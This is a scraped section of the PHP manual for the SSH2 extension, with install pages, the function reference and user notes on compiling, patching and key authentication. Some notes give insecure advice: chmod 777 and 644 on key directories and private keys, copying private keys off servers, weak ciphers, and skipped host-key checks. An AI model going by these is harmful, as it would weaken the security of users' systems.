Using PECL it must be specified the channel, since the beta version has to be choosen instead of stable one:

$ pecl install ssh2 channel://pecl.php.net/ssh2-version
adrya dot stembridge at gmail dot com 21-Nov-2008 08:01
Installing ssh2:

1) Download and unpack tar.gz per instructions above.
2) Enter unpacked directory
3) vi patchfile, paste the following (except the ###) and save:

##########################################

--- ssh2.c.orig    2005-11-01 15:40:23.000000000 -0800
+++ ssh2.c    2007-10-05 11:29:50.000000000 -0700
@@ -477,7 +477,7 @@

     ZEND_FETCH_RESOURCE(session, LIBSSH2_SESSION*, &zsession, -1, PHP_SSH2_SESSION_RES_NAME, le_ssh2_session);

-#if LIBSSH2_APINO < 200412301450
+#if LIBSSH2_VERSION_NUM < 0x001000
     libssh2_session_methods(session, &kex, &hostkey, &crypt_cs, &crypt_sc, &mac_cs, &mac_sc, &comp_cs, &comp_sc, &lang_cs, &lang_sc);
 #else
     kex = libssh2_session_methods(session, LIBSSH2_METHOD_KEX);

##########################################

4) run patch < patchfile
5) vi /etc/php.ini, add extension = ssh2.so where appropriate and save.
6) restart apache, use phpinfo() to confirm
chris at 3menandarecorder dot com 11-Sep-2008 12:28
To help someone avoid the headaches I did for a week. SSH2 functions have problems with the ssh2-beta & libssh2-0.18 even after patching with said patches on the internet.

ssh_exec will work fine
ssh2_shell will not work

In order to use ssh2_shell I had to roll back to libssh2-0.14 in order to get ssh2_shell function to work properly
arie dot mail at gmail dot com 10-Sep-2008 11:56
Just a little note: when compiling this package after modifying the ssh2.c, do not use pecl build as it will not create an ssh2.so file (although it says it succeeded), use:

phpize
./configure --with-ssh2
make

you then need to copy the ssh2.so file into your extension dir if it didn't do so already.
volkirik at yahoo dot com dot tr 08-May-2008 07:33
LIBSSH2_APINO was removed from the public header file. You need to patch ssh2.c to work with new libssh2 versions.

ssh2.c patch:

LINE 480:
search and change following line:
#if LIBSSH2_APINO < 200412301450
...
#else

to:
#if (defined(LIBSSH2_APINO) && LIBSSH2_APINO < 200412301450)
...
#else /* if LIBSSH2_APINO is not defined its v0.14 or higher. no problem! */

LINE 1216:
search and change following line:
#if (LIBSSH2_APINO > 200503221619)

to:
#if (defined(LIBSSH2_APINO) && (LIBSSH2_APINO > 200503221619)) || (defined(LIBSSH2_VERSION_NUM) && LIBSSH2_VERSION_NUM >= 0x001000)

Compile again!

----
Volkan K.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

This extension has no configuration directives defined in php.ini.

User Contributed Notes

Mircea Hutanu 15-Apr-2010 02:19
If you are compiling it against PHP 5.3.X make sure to remove line 53 from ssh2.c file :

52    #ifdef ZEND_ENGINE_2
53    static
54    ZEND_BEGIN_ARG_INFO(php_ssh2_first_arg_force_ref, 0)
55             ZEND_ARG_PASS_INFO(1)
56         ZEND_END_ARG_INFO()
abc at hotmail dot com 18-Jan-2010 01:42
You must add extension = ssh2.so to  your php.ini for this to work even though the documentation says there is no configuration directive required.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SSH2_FINGERPRINT_MD5 (integer)
Flag to ssh2_fingerprint() requesting hostkey fingerprint as an MD5 hash.
SSH2_FINGERPRINT_SHA1 (integer)
Flag to ssh2_fingerprint() requesting hostkey fingerprint as an SHA1 hash.
SSH2_FINGERPRINT_HEX (integer)
Flag to ssh2_fingerprint() requesting hostkey fingerprint as a string of hexits.
SSH2_FINGERPRINT_RAW (integer)
Flag to ssh2_fingerprint() requesting hostkey fingerprint as a raw string of 8-bit characters.
SSH2_TERM_UNIT_CHARS (integer)
Flag to ssh2_shell() specifying that width and height are provided as character sizes.
SSH2_TERM_UNIT_PIXELS (integer)
Flag to ssh2_shell() specifying that width and height are provided in pixel units.
SSH2_DEFAULT_TERM_WIDTH (integer)
Default terminal width requested by ssh2_shell().
SSH2_DEFAULT_TERM_HEIGHT (integer)
Default terminal height requested by ssh2_shell().
SSH2_DEFAULT_TERM_UNIT (integer)
Default terminal units requested by ssh2_shell().
SSH2_STREAM_STDIO (integer)
Flag to ssh2_fetch_stream() requesting STDIO subchannel.
SSH2_STREAM_STDERR (integer)
Flag to ssh2_fetch_stream() requesting STDERR subchannel.
SSH2_DEFAULT_TERMINAL (string)
Default terminal type (e.g. vt102, ansi, xterm, vanilla) requested by ssh2_shell().

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
SSH2 Functions
SSH2


SSH2 Functions

Table of Contents

  • ssh2_auth_hostbased_file — Authenticate using a public hostkey
  • ssh2_auth_none — Authenticate as "none"
  • ssh2_auth_password — Authenticate over SSH using a plain password
  • ssh2_auth_pubkey_file — Authenticate using a public key
  • ssh2_connect — Connect to an SSH server
  • ssh2_exec — Execute a command on a remote server
  • ssh2_fetch_stream — Fetch an extended data stream
  • ssh2_fingerprint — Retrieve fingerprint of remote server
  • ssh2_methods_negotiated — Return list of negotiated methods
  • ssh2_publickey_add — Add an authorized publickey
  • ssh2_publickey_init — Initialize Publickey subsystem
  • ssh2_publickey_list — List currently authorized publickeys
  • ssh2_publickey_remove — Remove an authorized publickey
  • ssh2_scp_recv — Request a file via SCP
  • ssh2_scp_send — Send a file via SCP
  • ssh2_sftp_lstat — Stat a symbolic link
  • ssh2_sftp_mkdir — Create a directory
  • ssh2_sftp_readlink — Return the target of a symbolic link
  • ssh2_sftp_realpath — Resolve the realpath of a provided path string
  • ssh2_sftp_rename — Rename a remote file
  • ssh2_sftp_rmdir — Remove a directory
  • ssh2_sftp_stat — Stat a file on a remote filesystem
  • ssh2_sftp_symlink — Create a symlink
  • ssh2_sftp_unlink — Delete a file
  • ssh2_sftp — Initialize SFTP subsystem
  • ssh2_shell — Request an interactive shell
  • ssh2_tunnel — Open a tunnel through a remote server

User Contributed Notes

kirvy at plunify dot com 25-Aug-2009 01:48
Initially I had the same problem as BlackJowy, but it should be working in windows.

The problem is that during ssh-keygen, you need to generate SSH2 version.

Meaning, run "ssh-keygen -t dsa" instead of just "ssh-keygen".

The rest of the setup is the same.
1) Copy your public key to your remote host
2) Create the authorized_keys files on your remote host
volkirik at yahoo dot com dot tr 03-May-2008 09:47
It seems like current versions of ssh2 extension (0.10 and olders) are not compatible with LibSSH2 versions newer than 0.14

Patch ssh2.c file or use LibSSH2 v0.14 until new LibSSH2 versions are supported.
aby at thomasoft dot com 13-Feb-2008 02:56
This is an update for those who are having difficulty compiling
on newer systems when following the manual procedure above.

The following finally worked on OpenSuSE 10.3.
I assume this will probably work on most newer distributions.

Download the latest source for php-ssh2 from
http://svn.mandriva.com/cgi-bin/viewvc.cgi/packages/cooker/php-ssh2/

Save it in a temp folder

Extract the file  (eg: tar -xzvf ssh2-0.11-20071019.tar.gz)

Change to the newly extracted folder and execute following

phpize && ./configure --with-ssh2 --with-php-config=/usr/bin/php-config5 && make

(make sure to change the path to the correct php-config5 on your system.)

Once the complie is completed successfully, copy the .libs/ssh2.so
to the php extension folder specified in php.ini

add "extension=ssh2.so" in php.ini

restart apache

This worked.  Good luck.
me at chrisstockton dot org 04-Feb-2008 08:29
Anyone trying to compile ssh2 in php6 will run into a lot of errors. I made a simple patch that is suitable for a test environment, you may want to go over it before using it in a production environment as I remove a checkuid function.

The patch is a little big so here is a link (had to add a line break):
http://chrisstockton.org/2008/02/04/
programming/php6-ssh2-doesnt-compile/
andreas dot winkelbauer at gmx dot at 02-Feb-2008 08:19
As fedora does not provide an official package for the ssh2 functions, I have built a php-pecl-ssh2 package for fedora users out there.

you can find the packages at: http://www.wina.at/uni/html/linux-php-pecl-ssh2.html

bye,
Andi
XmisterIS 25-Jan-2008 03:01
When installing SSH2 on Debian Etch using gcc 4.1.2, compilation of ssh2.c failed with a whole load of errors (too many to show here).

A lot of people seem to have had this problem with a variety of flavours of Linux and gcc.  The solution that worked for me is as follows:

Presuming you've downloaded, and extracted the pecl lib you can patch it manually by opening up ssh2.c and reading down the script untill you get to the line that reads:

  #if LIBSSH2_APINO < 200412301450

Change it to read

  #if LIBSSH2_VERSION_NUM < 0x001000

Save the file and run

  phpize && ./configure --with-ssh2 && make

Then carry on from there.

Incidentally, if you run "make install" rather than just "make" as the root user then the make process *should* automatically copy ssh2.so into your php.ini extension_dir, provided your environment is correct.
areddan at silverarm dot com 11-Dec-2007 05:41
Setup PHP SSH2 Connection from php  running locally win32
 to a remote box  (i used pair networks)
1. Download module
http://www.php.net/downloads.php
Download Win32 binaries and extract
php_ssh2.dll to the extensions directory

Edit the php.ini file that is being used to include this extension

extension=php_ssh2.dll

Generate a pub / private key pair on the server you wish to connect to

ssh-keygen -t rsa -C "username@boxname.pair.com"
Generating public/private rsa key pair.
Enter file in which to save the key (/usr/home/username/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /usr/home/username/.ssh/id_rsa.
Your public key has been saved in /usr/home/username/.ssh/id_rsa.pub.

Copy both the public and private key files to your local box.
Cut and paste the id_rsa.pub contents into authorized_keys2
  file in /usr/home/username/.ssh - creating it if it does not exist.

Create a php program containing the following

<?php
/* Notify the user if the server terminates the connection */
function my_ssh_disconnect($reason, $message, $language) {
  printf("Server disconnected with reason code [%d] and message: %s\n",
         $reason, $message);
}

$methods = array(
  'kex' => 'diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,'
  .'diffie-hellman-group-exchange-sha1',
  'client_to_server' => array(
    'crypt' => '3des-cbc',
    'comp' => 'none'),
  'hostkey'=>'ssh-rsa',
  'server_to_client' => array(
    'crypt' => 'aes256-cbc,aes192-cbc,aes128-cbc',
    'comp' => 'none'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

$connection = ssh2_connect('vepar.pair.com', 22, $methods, $callbacks);
if (!$connection) die('Connection failed');

/* Uncomment to secure even further,
you want to get the known host key by getting $fingerprint
the first time and then hard coding
$known_host = '';
$fingerprint = ssh2_fingerprint($connection,
               SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX);

if ($fingerprint != $known_host) {
  die("HOSTKEY MISMATCH!\n" .
      "Possible Man-In-The-Middle Attack? $fingerprint");
}
*/

if (ssh2_auth_pubkey_file($connection, 'username',
                          'S:/sshphp/id_rsa.pub',
                          'S:/sshphp/id_rsa', '')) {
  echo "Public Key Authentication Successful\n";
} else {
  die('Public Key Authentication Failed');
}

?>

Alan Reddan Silverarm
zsbe17fr at yahoo dot fr 23-Nov-2007 03:21
if you want to be able to compile the ssh2 extension with the newest version of libss2, you should modify the source code of ssh2.c and replace

#if LIBSSH2_APINO < 200412301450

with

#if false

and it is working
mjames at voipsupply dot com 07-Nov-2007 08:52
Just a note, if you're download the libssh2 source tar, you'll need to download libssh2-0.12.tar.gz.  The newer versions won't compile properly.  I've tried either the pecl or manual way, and kept getting a compile time error  when using the pecl package ssh2-0.10.

Michael James
mjames@voipsupply.com
dan at novapulsar dot com 25-Oct-2007 11:06
you will have an issue transferring any file using ssh2_scp_send unless you send a dummy file after your real file, or preferably issue an

ssh2_exec ($connection, 'exit');

I was transferring hundreds of thousands of files in my prototype across multiple servers, and noticed that each file had a mismatched md5 hash and bytelength.

after a bit of research i learnt that this was a bug, and added the code above as suggested at pecl.php.net in the bugs section.

hopefully this helps someone who is getting partial file transfer that could ruin your whole app.
dan at novapulsar dot com 23-Oct-2007 11:52
when connecting with ssh2_auth_password (connection, username, password), if you don't use a constant for the password you will get an authentication failure. i tried casting as a string, putting in single and double quotes, etc.

i tried passing the password straight from mysql and couldn't. you'll spend hours trying to figure this simple thing out, so you're stuck with using hard coded password strings for now.
aeolianmeson at blitzeclipse dot com 17-Aug-2007 12:00
Some installations of PHP 5 may have a problem starting the SSH2 extension as a Windows' service. It just started happening to me today, spontaneously. I have PHP 5.2.2 (and have tried 5.2.3), on Apache 2.0.59 .

It turns out that it's an Apache problem. Even though I was given an error message when starting it, it still worked perfectly from the CLI. So, I commented it out in the
INI file again, and am just loading it using extension_loaded('ssh2') and dl('php_ssh2.dll') from within the script.
Tim Wood 05-Jan-2007 10:11
For those trying to use this under an x86_64 version of an rpm-based distribution (e.g. CentOS, RHEL or Fedora Core) who don't have an rpm for libssh2, here's a work around.

Locate the source rpm for an i386 version (for instance from dag or dries) and rebuild it:

rpmbuild --rebuild --target x86_64 libssh2-*.src.rpm

If the rebuild complains about not being able to find something and references a path beginning /var/tmp or /tmp, it may very well have built the files but failed due to a minor error in the spec file.  I was too lazy to fix the spec file, so I just manually copied the files into place.  In my case, the path in the error included /var/tmp/libssh2-0.12-root/usr/lib/...  Note that libssh2 part?  That's the area where all the files are dumped during the rpmbuild process.  if you move everything in there to the comparable place on your drive, you're golden.  In this case libssh2.so was in /var/tmp/libssh2-0.12-root/usr/lib/  Strip off the /var/tmp/libssh2* part and you find out the libssh2.so file goes in /usr/lib/

Enjoy.
Josh Kritner 20-Dec-2006 07:19
Update for the Mac OS X install when using the Entropy.ch PHP5 package: You can use the PECL installer for ssh2 now instead of manually downloading it.

1) Download and install libssh2 per the instructions below(Steps 1-5)
2) run "sudo /usr/local/php5/bin/pecl install ssh2-beta"
3) add extension=ssh2.so to /usr/local/php5/lib/php.ini
4) Restart Apache (sudo apachectl restart)
S Haycroft 19-Oct-2006 03:30
I also struggled with the
configure: error: libssh2 version >= 0.4 not found
error using verions 0.10 of ssh2 and 0.14 of libssh.

When looking in the config.log file I found that it was unable to find my SSL libraries, and as I installed my openssl in /usr/local/ssl it could not find it.  It was only looking in /usr/local/lib.

To get round this problem, I set
 LDFLAGS="-L /usr/local/ssl/lib"
and this works a treat.
astribuncio at gmail dot com 31-Aug-2006 10:17
Installing on HPUX 11.11 cookbook

Just follow the install instructions on the man page and solved the problems as they appear

- when making libssh2
Problem related with /lib/pa20_64 and 64 bits library in 32 bits link
Edited the configure file  and changed
SHLIB_LDFLAGS="-b +vnocompatwarnings -L/lib/pa20_64"
to
SHLIB_LDFLAGS="-b +vnocompatwarnings -L/lib"

-when executing phpize
Problems with aclocal, autom4ke and m4
Installed automake, autoconf and m4

-when ./configuring the ssh2
Configure: error: libssh2 version >= 0.4 not found
Edited the configure.m4 and removed the -ldl switch from line (as posted before)
39      -L$SSH2_DIR/lib -lm -ldl
runned phpize again and ./configure --with-ssh2
chris dot britton at cingular dot com 11-Aug-2006 06:11
I was building out the ssh2 extension (0.10) under OpenBSD 3.9 on sparc64 and I got this error when running configure:

checking for libssh2_banner_set in -lssh2... no
configure: error: libssh2 version >= 0.4 not found

I did some poking around in the configure file and traced the problem down.  The reason for the failure is that configure is trying to compile a test program with -ldl.  libdl is not installed on OpenBSD 3.9. The OpenBSD folks purged libdl years ago and I could not find a package that contains it.

(The error message above is misleading because the problem is not with libssh2.)

I looked at the ssh2 extension code and could not see a reason for using libdl, so I removed the -ldl from the config.m4 file.  Re-ran phpize and configure. No errors.  Did make and installed ssh2.so.  Works fine.
kickthedonkey at gmail dot com 24-Jul-2006 09:02
Just a quick note about the manual installation instructions above.  If your PHP is in a non-standard location, or you're running multiple installs of different PHP version, you have to complie the module with an explicit path to phpize and php-config:

/path/to/correct/php/bin/phpize && ./configure --with-ssh2 --with-php-config=/path/to/correct/php/bin/php-config && make

Took me an hour to figure out why I was getting a "Unable to initialize module Module compiled with module API" error when I loaded the module.  Turns out, it was compiling against my php4 libs, and not the php5 ones.
stevec at carbondesignsystems dot com 05-Jun-2006 09:57
I couldn't get `pear install ssh2-beta` to work, so I tried the manual installation.  I followed the instructions:

phpize && ./configure --with-ssh2 && make
Copy ssh2.so from the directory indicated by the build process to the location specified in your php.ini file under extension_dir.

When I restarted Apache, I got:
PHP Warning:  Unknown(): Invalid library (maybe not a PHP library) 'ssh2.so'  in Unknown on line 0

To fix the problem, I ran `make install`, instead of copying ssh2.so into the extension directory.
Mike <esnik8202 at sneakemail dot com> 26-Mar-2006 09:08
To slightly correct the directory listing code below....

<?php
$connection = ssh2_connect("hostname", 22);
  // use any of the ssh2_auth_* methods
ssh2_auth_password($connection,"username", "password");
$sftp = ssh2_sftp($connection);
$dir = "ssh2.sftp://$sftp/path/to/dir/";
$dh = opendir($dir);
while (($file = readdir($dh)) !== false) {
  echo "$file is in hostname:/path/to/dir\ n";
}
closedir($dh);
?>

(thanks to Sara for assisting)
dotwho at NSPM dot mac dot com 04-Oct-2005 03:15
Trying to compile this ssh PECL extension for Mac OS X (10.4.2)
with entropy.ch's php5 distribution? Read on: PART 2:

11) Check your shell's path variable by SHELL$ "echo $PATH".
If your php5 binary directory is not listed before the standard OS X binary directory,
update your $PATH variable to list it first. Mine reads:
/usr/local/mysql/bin/: /usr/local/php5/bin/: /bin:/sbin: /usr/bin:/usr/sbin
11a) if you do not do this step, the PECL extension will link against the old
php4 version that ships with Mac OS X. You will know this by the fact that the
next step lists a server API that is different than the output of phpinfo():
My version was 20041030, Apples version was 20020429.
12) Run: phpize && ./configure --with-ssh2 && make
This will produce a lot of output and probably some warnings. If you get a note
at the end that says "Build Complete", then the process has completed
(probably successfully). The command has produced the output file ssh2.so within
the ssh2-0.9 (or whatever version) directory.
13) Check where the extension directory is located at by running the following command:
SHELL$/usr/local/php5/bin/php-config --extension-dir
If it lists some directory that actually exists, copy the ssh2.so file to this directory.
If it doesn't list a location that exists, you can either create the location, or
choose a different location and update the line in your php.ini file:
extension_dir = "./"
to point to the directory you would like to use. I chose:
extension_dir = "/usr/local/php5/extensions/"?>
14) Add the line
extension=ssh2.so
to the Dynamic Extensions area of your php.ini file.
15) Restart your web server for the extensioin to be loaded. If there are any problems, they will be written to the webserver log.
16) Check if your new ssh based streams are available by running:
SHELL$ /usr/local/php5/bin/php -r "print_r(stream_get_wrappers());"
You should get something similar to this output:
Array
(
    [0] => php
    [1] => file
    [2] => http
    [3] => ftp
    [4] => compress.bzip2
    [5] => compress.zlib
    [6] => https
    [7] => ftps
    [8] => ssh2.shell
    [9] => ssh2.exec
    [10] => ssh2.tunnel
    [11] => ssh2.scp
    [12] => ssh2.sftp
)
You should now be able to do all the cool things you need to do with ssh
(like sftp scp ssh execution)! Take a look at some of the comment here for some
example scripts to test things out:
http://us2.php.net/manual/en/ref.ssh2.php

Good luck... hope that saves you my headache! :)
dotwho at NSPM dot mac dot com 04-Oct-2005 03:12
Trying to compile this ssh PECL extension for Mac OS X (10.4.2)
with entropy.ch's php5 distribution? Read on: PART 1:
1) Download libssh (I used version 0.11)
http://sourceforge.net/project/showfiles.php?group_id=125852
2) Unzip the directory and cd to the upacked directory in the terminal.
3) run: ./configure; make all install;
libssh should compile and place the output file in src/*.o
4) copy all headers from the include folder within the libssh2 directory to
/usr/local/include/
5) copy all compiled files (*.o) from the src folder within the libssh2
directory to /usr/local/lib/
6) Download ssh2
(I used version 0.9 with additional changes from cvs - explained below)
http://pecl.php.net/package/ssh2
7) unzip the downloaded archive.
8) version 0.9 has a conflict with an existing symbol used in some of the ZEND headers...
a change is available in cvs which renames the symbol in ssh2 to avoid the conflict
http://cvs.php.net/diff.php/pecl/ssh2/ssh2.c?r1=1.9&r2=1.10&ty=h
down load at least the 1.10 version of ssh2.c
if you decide to download a newer version, download any of the corresponding related files,
such as the php_ssh2.h header file.
9) replace the old version of ssh2.c with the new version of ssh2.c
(and any other files you downloaded).
10) From the terminal:
cd to the source directory (for me ssh2-0.9/ssh2-0.9/).

(Continued in a PART 2 comment)
jr at cnb dot uam dot es 27-May-2005 07:29
OK, the SSH class I wrote is now available for free on the Net.

The class uses an underlying SSH implementation, and hence does not require any library to be compiled against.

It is available at savannah.cer.ch as a byproduct of project GridGramm (look in the downloads section). There are two releases available, the first one establishes a connection for each command, having a serious authentication overhead. The second release shares a master connection, highly reducing auth payload, but requires openssh >= 3.8.

They are also available from the development site at

http://savannah.cern.ch/projects/gridgramm

and come with extensive documentation and examples.

These are work in progress, and I hope to add more enhancements in the close future. But you are welcome to use them now.
Predefined Constants
ssh2_auth_hostbased_file
SSH2


Authenticate using a public hostkey

SSH2 Functions
ssh2_auth_none
SSH2 Functions
PHP Manual

ssh2_auth_hostbased_file

(PECL ssh2 >= 0.9.0)

ssh2_auth_hostbased_file — Authenticate using a public hostkey

Description

bool ssh2_auth_hostbased_file ( resource $session , string $username , string $hostname , string $pubkeyfile , string $privkeyfile [, string $passphrase [, string $local_username ]] )

Authenticate using a public hostkey read from a file.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

username

hostname

pubkeyfile

privkeyfile

passphrase

If privkeyfile is encrypted (which it should be), the passphrase must be provided.

local_username

If local_username is omitted, then the value for username will be used for it.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Authentication using a public hostkey

<?php
$connection = ssh2_connect('shell.example.com', 22, array('hostkey'=>'ssh-rsa'));

if (ssh2_auth_hostbased_file($connection, 'remoteusername', 'myhost.example.com',
                             '/usr/local/etc/hostkey_rsa.pub',
                             '/usr/local/etc/hostkey_rsa', 'secret',
                             'localusername')) {
  echo "Public Key Hostbased Authentication Successful\n";
} else {
  die('Public Key Hostbased Authentication Failed');
}
?>

Notes

Note:

ssh2_auth_hostbased_file() requires libssh2 >= 0.7 and PHP/SSH2 >= 0.7

User Contributed Notes

There are no user contributed notes for this page.
SSH2 Functions
ssh2_auth_none
SSH2 Functions


Authenticate as "none"

ssh2_auth_hostbased_file
ssh2_auth_password
SSH2 Functions
PHP Manual

ssh2_auth_none

(PECL ssh2 >= 0.9.0)

ssh2_auth_none — Authenticate as "none"

Description

mixed ssh2_auth_none ( resource $session , string $username )

Attempt "none" authentication which usually will (and should) fail. As part of the failure, this function will return an array of accepted authentication methods.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

username

Remote user name.

Return Values

Returns TRUE if the server does accept "none" as an authentication method, or an array of accepted authentication methods on failure.

Examples

Example #1 Retrieving a list of authentication methods

<?php
$connection = ssh2_connect('shell.example.com', 22);

$auth_methods = ssh2_auth_none($connection, 'user');

if (in_array('password', $auth_methods)) {
  echo "Server supports password based authentication\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ssh2_auth_hostbased_file
ssh2_auth_password
SSH2 Functions


Authenticate over SSH using a plain password

ssh2_auth_none
ssh2_auth_pubkey_file
SSH2 Functions
PHP Manual

ssh2_auth_password

(PECL ssh2 >= 0.9.0)

ssh2_auth_password — Authenticate over SSH using a plain password

Description

bool ssh2_auth_password ( resource $session , string $username , string $password )

Authenticate over SSH using a plain password

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

username

Remote user name.

password

Password for username

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Authenticating with a password

<?php
$connection = ssh2_connect('shell.example.com', 22);

if (ssh2_auth_password($connection, 'username', 'secret')) {
  echo "Authentication Successful!\n";
} else {
  die('Authentication Failed...');
}
?>

User Contributed Notes

webdr at sonic dot net 17-Nov-2011 03:47
Looking for keyboard-interactive method support?

http://sourceforge.net/projects/phpseclib/
ammarmar at wp dot pl 14-Mar-2008 03:31
This function will only work if SSH server has 'password' authentication method enabled.

It won't work if only 'keyboard-interactive' is enabled (is there a way to override this in PHP?).

To check what methods of authentication are alowed, use ssh2_auth_none.
wally at soggysoftware dot co dot uk 11-Apr-2007 03:09
This function is useful for authenticating website clients against local (or remote) Unix users.

I'd played around with Apache+PAM, various mod_auths and homebrewed shell programs and even NIS, but to authenticate a user against a Unix shadow file fundamentally requires root priviledges, so either your PHP script needs root or an external program needs it's sticky bit set.  Both of these have *serious* security implications.

Using SSH, the overhead is obviously going to be greater but you're trusting a root service that's been (and continues to be) really well tested.  Just try authing with SSH against localhost (or another host if you want).
noels01 at gmx dot net 29-Aug-2005 05:56
Do not try to authenticate or log in more than once on a ssh2 connection. It won't work. You'll need a new connection via ssh2_connect() which will result in a poor performance if you're doing several connects to the same server.
05-Jun-2005 07:49
The sshd you are trying to connect to requires PasswordAuthentication yes in its sshd_config file.

Most normal SSH features work with this off, but this requires it on. Note, this defaults to off in FreeBSD 5.x
ssh2_auth_none
ssh2_auth_pubkey_file
SSH2 Functions


Authenticate using a public key

ssh2_auth_password
ssh2_connect
SSH2 Functions
PHP Manual

ssh2_auth_pubkey_file

(PECL ssh2 >= 0.9.0)

ssh2_auth_pubkey_file — Authenticate using a public key

Description

bool ssh2_auth_pubkey_file ( resource $session , string $username , string $pubkeyfile , string $privkeyfile [, string $passphrase ] )

Authenticate using a public key read from a file.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

username

pubkeyfile

privkeyfile

passphrase

If privkeyfile is encrypted (which it should be), the passphrase must be provided.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Authentication using a public key

<?php
$connection = ssh2_connect('shell.example.com', 22, array('hostkey'=>'ssh-rsa'));

if (ssh2_auth_pubkey_file($connection, 'username',
                          '/home/username/.ssh/id_rsa.pub',
                          '/home/username/.ssh/id_rsa', 'secret')) {
  echo "Public Key Authentication Successful\n";
} else {
  die('Public Key Authentication Failed');
}
?>

User Contributed Notes

christian at cvj dot se 03-Jan-2012 04:21
On my linux debian server running php communicating with another linux debian server I had problems getting rsa to work. dsa worked out of the box. I got it to work by doing the following in terminal

* ssh-keygen -t rsa
.... PUBFILE
* ssh-keygen -f PUBFILE -e
OUTPUT

id_rsa.pub =
ssh-rsa OUTPUT [COMMENT]
max 16-Sep-2011 04:37
Well, you have to format the publickey with the following command:

# ssh-keygen -f id_rsa.pub -i
Output: "ssh-rsa <YOURKEYDATA>"

That worked fine for me.
anjo2 11-May-2011 08:49
rsa keys may don't work, using dsa keys are more compatible

Linux:
ssh-keygen -t dsa
cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh/
chmod -R 600 ~/.ssh/*

PHP:
<?php
    $methods = array(
    'kex' => 'diffie-hellman-group1-sha1',
    'hostkey' => 'ssh-dss',
    'client_to_server' => array(
    'crypt' => '3des-cbc',
    'mac' => 'hmac-md5',
    'comp' => 'none'),
    'server_to_client' => array(
    'crypt' => '3des-cbc',
    'mac' => 'hmac-md5',
    'comp' => 'none'));
    $connect = ssh2_connect('127.0.0.1', 22, $methods);
    if(ssh2_auth_pubkey_file($connect, 'username', '~/.ssh/id_dsa.pub', '~/.ssh/id_dsa'))
    {
        echo "Public Key Authentication Successful\n";
    }
    else
    {
        echo "Public Key Authentication Failed\n";
    }
?>
deepakssn@gmailcom 19-May-2010 04:12
Setting up public key authentication:

1.  Login to the unix server you want to connect using putty.
2.  mkdir .ssh (there is a dot before ssh)
3.  cd .ssh
4.  ssh-keygen -t rsa mykey
5.  Enter passphrase as test
6.  ls -al -> you will find two files mykey , mykey.pub
7.  cat mykey.pub >>authorized_keys
8.  cat mykey
9.  Copy what you get on screen to notepad and save it as "c:\mykey" (within quotes)
10.  cat mykey.pub
11.  Copy what you get on screen to notepad and save it as "c:\mykey.pub" (within quotes)

<?php

function my_ssh_disconnect($reason, $message, $language)
{
  printf("Server disconnected with reason code [%d] and message: %s\n", $reason, $message);
}

//Open a connection forcing 3des-cbc when sending packets, any strength aes cipher when receiving packets, no compression in either direction, and Group1 key exchange.
$methods = array(
  'kex' => 'diffie-hellman-group1-sha1',
  'client_to_server' => array(
   'crypt' => 'aes256-cbc',
   'comp' => 'none',
   'mac' => 'hmac-sha1'),
  'server_to_client' => array(
   'crypt' => 'aes256-cbc',
   'comp' => 'none',
   'mac' => 'hmac-sha1'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

      // Function to run a command on the unix server

      function run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command)
      {
          $connection = ssh2_connect($ssh_host, 22, $methods, $callbacks);
          if (!$connection) die('Connection failed');
          if (ssh2_auth_pubkey_file($connection, $user_name, $keyfilename.".pub", $keyfilename, 'test'))
          {
            echo "Public Key Authentication Successful as user: $user_name";
          }
          else
          {
            die('Public Key Authentication Failed');
          }

          $stream = ssh2_exec($connection, $ssh_command);
          $i=0;
          stream_set_blocking($stream, true);
          $line = stream_get_line($stream, 1024, "\n");
          while (!feof($stream))
          {
                  echo $line.' ';
                  $line = stream_get_line($stream, 1024, "\n");
                  $i++;
          }
          echo "Count : ".$i;
          flush();
          unset($stream);
      }

      function my_ssh_disconnect($reason, $message, $language)
      {
            printf("Server disconnected with reason code [%d] and message: %s\n",
            $reason, $message);
      }

      // Main Code

      $user_name = "USERID";
      $keydir = "c:\\";
      $search_string = 'needle';
      $keyfilename= $keydir.'mykey';
      $ssh_host = "foo.bar.com";
      $ssh_command = 'grep "'.$search_string.'" /haystack/*.log';
      run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command);

      $ssh_command = 'ls -al';
      run_cmd($ssh_host, $user_name, $keyfilename, $ssh_command);
?>
gramo dot gnu at gmail dot com 29-Oct-2009 03:26
I had an anoyiing problem with this function, everytime I tried to make it run it responds with an

Authentication failed for <user> using public key

but when I try directly to connect to the server using
ssh <user>@<domain>
Things works fine...

After lots of intents I realize that local files were read protected from user apache (they were stored at /home/<user>/.ssh directory)

So, if you also have this problem, just make a new directory into a place where apache can read and place there the keys.

The whole thing I do is as follows (Linux & Apache both server and client):

First I create a directory where apache can read

mkdir ~/.newssh_keys
chmod 777 ~/.newssh_keys

(This is a security issue, so maybe you need to realize how to make it safer.)

Then I create keys into local server choosing ~/.newssh_keys/id_dsa as the file to save the key:

ssh-keygen -t dsa
...
Enter file in which to save the key (/home/<user>/.ssh/id_dsa): ~/.newssh_keys/id_dsa
...

Then I have to change permissions to private key
(This is a security issue, so maybe you need to realize how to make it safer.)

chmod 644 ~/.newssh_keys/id_dsa

I copy the public key into the server's .ssh directory
client$ scp id_dsa.pub <remoteuser>@<server_domain>:~/.ssh/

and then I connect myself to the server using traditional ssh in order to append the public key at the end of authorized_keys2 file

server$ cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys2

and remove the public key in order to be clean
server$ rm ~/.ssh/id_dsa.pub

